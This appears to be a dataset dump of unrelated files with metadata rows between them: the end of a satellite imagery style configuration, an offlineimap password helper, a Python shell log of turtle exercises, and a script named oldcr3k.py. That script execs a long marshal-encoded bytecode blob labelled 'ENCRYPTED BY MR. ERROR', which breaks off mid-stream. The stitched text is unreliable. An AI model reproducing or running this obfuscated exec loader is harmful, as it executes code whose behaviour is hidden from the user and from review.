"nbart_swir_2": 1.0
},
"green": {
"nbart_nir_1": 1.0
},
"blue": {
"nbart_green": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "infra_red",
"title": "False colour multi-band infra-red",
"abstract": "Simple false-colour image, using the near and short-wave infra-red bands",
"components": {
"red": {
"nbart_swir_2": 1.0
},
"green": {
"nbart_swir_3": 1.0
},
"blue": {
"nbart_nir_1": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "aerosol",
"title": "Spectral band 1 - Coastal aerosol",
"abstract": "Coastal aerosol band, approximately 435nm to 450nm",
"components": {
"red": {
"nbart_coastal_aerosol": 1.0
},
"green": {
"nbart_coastal_aerosol": 1.0
},
"blue": {
"nbart_coastal_aerosol": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "blue",
"title": "Spectral band 2 - Blue",
"abstract": "Blue band, approximately 453nm to 511nm",
"components": {
"red": {
"nbart_blue": 1.0
},
"green": {
"nbart_blue": 1.0
},
"blue": {
"nbart_blue": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "green",
"title": "Spectral band 3 - Green",
"abstract": "Green band, approximately 534nm to 588nm",
"components": {
"red": {
"nbart_green": 1.0
},
"green": {
"nbart_green": 1.0
},
"blue": {
"nbart_green": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "red",
"title": "Spectral band 4 - Red",
"abstract": "Red band, roughly 637nm to 672nm",
"components": {
"red": {
"nbart_red": 1.0
},
"green": {
"nbart_red": 1.0
},
"blue": {
"nbart_red": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "nir",
"title": "Spectral band 5 - Near infra-red",
"abstract": "Near infra-red band, roughly 853nm to 876nm",
"components": {
"red": {
"nbart_nir_1": 1.0
},
"green": {
"nbart_nir_1": 1.0
},
"blue": {
"nbart_nir_1": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "narrow_nir",
"title": "Narrow band Near Infra-Red",
"abstract": "Near infra-red band, centred on 865nm",
"components": {
"red": {
"nbart_nir_2": 1.0
},
"green": {
"nbart_nir_2": 1.0
},
"blue": {
"nbart_nir_2": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "swir1",
"title": "Spectral band 6 - Short wave infra-red 1",
"abstract": "Short wave infra-red band 1, roughly 1575nm to 1647nm",
"components": {
"red": {
"nbart_swir_2": 1.0
},
"green": {
"nbart_swir_2": 1.0
},
"blue": {
"nbart_swir_2": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
{
"name": "swir2",
"title": "Spectral band 7 - Short wave infra-red 2",
"abstract": "Short wave infra-red band 2, roughly 2117nm to 2285nm",
"components": {
"red": {
"nbart_swir_3": 1.0
},
"green": {
"nbart_swir_3": 1.0
},
"blue": {
"nbart_swir_3": 1.0
}
},
"scale_range": [0.0, 3000.0]
},
#
# Examples of non-linear heat-mapped styles.
{
"name": "ndvi",
"title": "NDVI",
"abstract": "Normalised Difference Vegetation Index - a derived index that correlates well with the existence of vegetation",
"heat_mapped": True,
"index_function": lambda data: (data["nbart_nir_1"] - data["nbart_red"]) / (
data["nbart_nir_1"] + data["nbart_red"]),
"needed_bands": ["nbart_red", "nbart_nir_1"],
# Areas where the index_function returns outside the range are masked.
"range": [0.0, 1.0],
},
{
"name": "ndwi",
"title": "NDWI",
"abstract": "Normalised Difference Water Index - a derived index that correlates well with the existence of water",
"heat_mapped": True,
"index_function": lambda data: (data["nbart_green"] - data["nbart_nir_1"]) / (
data["nbart_nir_1"] + data["nbart_green"]),
"needed_bands": ["nbart_green", "nbart_nir_1"],
"range": [0.0, 1.0],
},
{
"name": "ndbi",
"title": "NDBI",
"abstract": "Normalised Difference Buildup Index - a derived index that correlates with the existence of urbanisation",
"heat_mapped": True,
"index_function": lambda data: (data["nbart_swir_3"] - data["nbart_nir_1"]) / (
data["nbart_swir_3"] + data["nbart_nir_1"]),
"needed_bands": ["nbart_swir_3", "nbart_nir_1"],
"range": [0.0, 1.0],
},
# Mask layers - examples of how to display raw pixel quality data.
# This works by creatively mis-using the Heatmap style class.
# Hybrid style - mixes a linear mapping and a heat mapped index
{
"name": "rgb_ndvi",
"title": "NDVI plus RGB",
"abstract": "Normalised Difference Vegetation Index (blended with RGB) - a derived index that correlates well with the existence of vegetation",
"component_ratio": 0.6,
"heat_mapped": True,
"index_function": lambda data: (data["nbart_nir_1"] - data["nbart_red"]) / (
data["nbart_nir_1"] + data["nbart_red"]),
"needed_bands": ["nbart_red", "nbart_nir_1"],
# Areas where the index_function returns outside the range are masked.
"range": [0.0, 1.0],
"components": {
"red": {
"nbart_red": 1.0
},
"green": {
"nbart_green": 1.0
},
"blue": {
"nbart_blue": 1.0
}
},
"scale_range": [0.0, 3000.0]
}
],
# Default style (if request does not specify style)
# MUST be defined in the styles list above.
# (Looks like Terria assumes this is the first style in the list, but this is
# not required by the standard.)
"default_style": "simple_rgb",
},
],
},
]
| 46.509162
| 168
| 0.348887
| 2,742
| 35,533
| 4.388403
| 0.142597
| 0.014626
| 0.028422
| 0.027923
| 0.894374
| 0.894374
| 0.894374
| 0.894374
| 0.894374
| 0.887393
| 0
| 0.049493
| 0.558748
| 35,533
| 763
| 169
| 46.570118
| 0.717903
| 0.117102
| 0
| 0.61912
| 0
| 0.003035
| 0.285586
| 0.011161
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6a8235ff7758a94059eb895aa3e842aa6ed4162d
| 201
|
py
|
Python
|
dots/offlineimap-work/.offlineimap/passwd.py
|
mbauhardt/dotfiles
|
5104df68c851c05552a95b45200dbd5d5b51845e
|
[
"MIT"
] | 1
|
2018-01-26T15:17:21.000Z
|
2018-01-26T15:17:21.000Z
|
dots/offlineimap-work/.offlineimap/passwd.py
|
mbauhardt/dotfiles
|
5104df68c851c05552a95b45200dbd5d5b51845e
|
[
"MIT"
] | 9
|
2017-02-03T08:49:32.000Z
|
2018-02-13T17:31:59.000Z
|
dots/offlineimap-work/.offlineimap/passwd.py
|
mbauhardt/dotfiles
|
5104df68c851c05552a95b45200dbd5d5b51845e
|
[
"MIT"
] | null | null | null |
#! /usr/bin/env python3
from subprocess import check_output
def get_pass():
return check_output("pass Users/mb/Library/Keychains/datameer.keychain/Apps/offline_imap", shell=True).splitlines()[0]
| 28.714286
| 122
| 0.776119
| 29
| 201
| 5.241379
| 0.896552
| 0.144737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010989
| 0.094527
| 201
| 6
| 123
| 33.5
| 0.824176
| 0.109453
| 0
| 0
| 0
| 0
| 0.376404
| 0.348315
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0.666667
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
|
0
| 8
|
6ad204eb46e6652c792a7aa381ead69c5cc4d943
| 938
|
py
|
Python
|
caught_speeding.py
|
fouad20-meet/meet2018y1lab4
|
21fb6ce43cb94c48f4b62321d0163334db5f3f54
|
[
"MIT"
] | null | null | null |
caught_speeding.py
|
fouad20-meet/meet2018y1lab4
|
21fb6ce43cb94c48f4b62321d0163334db5f3f54
|
[
"MIT"
] | null | null | null |
caught_speeding.py
|
fouad20-meet/meet2018y1lab4
|
21fb6ce43cb94c48f4b62321d0163334db5f3f54
|
[
"MIT"
] | null | null | null |
Python 3.6.5 (default, Apr 1 2018, 05:46:30)
[GCC 7.3.0] on linux
Type "copyright", "credits" or "license()" for more information.
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Fun
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Not Fun!
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Fun
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Fun
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Fun
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Fun
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Fun!
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Fun!
>>>
===== RESTART: /home/student/fouad20_lab4/meet2018y1lab4/turtle_party.py =====
Fun!
>>>
| 29.3125
| 78
| 0.684435
| 116
| 938
| 5.37931
| 0.301724
| 0.158654
| 0.259615
| 0.360577
| 0.850962
| 0.850962
| 0.850962
| 0.850962
| 0.850962
| 0.850962
| 0
| 0.115159
| 0.092751
| 938
| 31
| 79
| 30.258065
| 0.618096
| 0
| 0
| 0.870968
| 0
| 0
| 0.026652
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
6ada258dc5fb9e8ac1089558ef5351727f215b65
| 61,276
|
py
|
Python
|
oldcr3k.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | 2
|
2021-11-17T03:35:03.000Z
|
2021-12-08T06:00:31.000Z
|
oldcr3k.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | null | null | null |
oldcr3k.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | 2
|
2021-11-05T18:07:48.000Z
|
2022-02-24T21:25:07.000Z
|
#EBCRYPTED BY MR. ERROR
#HEHEHE 69
import marshal
exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s/W\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xd0V\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sqV\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x12V\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xb3U\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sTU\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xf5T\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x96T\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s7T\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xd8S\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02syS\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x1aS\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xbbR\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\\R\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xfdQ\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x9eQ\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s?Q\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xe0P\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x81P\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s"P\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xc3O\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sdO\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x05O\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xa6N\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sGN\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xe8M\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x89M\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s*M\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xcbL\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02slL\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\rL\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xaeK\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sOK\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xf0J\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x91J\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s2J\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xd3I\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02stI\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x15I\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xb6H\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sWH\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xf8G\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x99G\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s:G\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xdbF\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s|F\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x1dF\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xbeE\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s_E\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x00E\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xa1D\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sBD\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xe3C\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x84C\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s%C\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xc6B\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sgB\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x08B\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xa9A\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sJA\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xeb@\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x8c@\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s-@\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xce?\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02so?\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x10?\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xb1>\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sR>\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xf3=\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x94=\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s5=\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xd6<\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sw<\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x18<\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xb9;\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sZ;\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t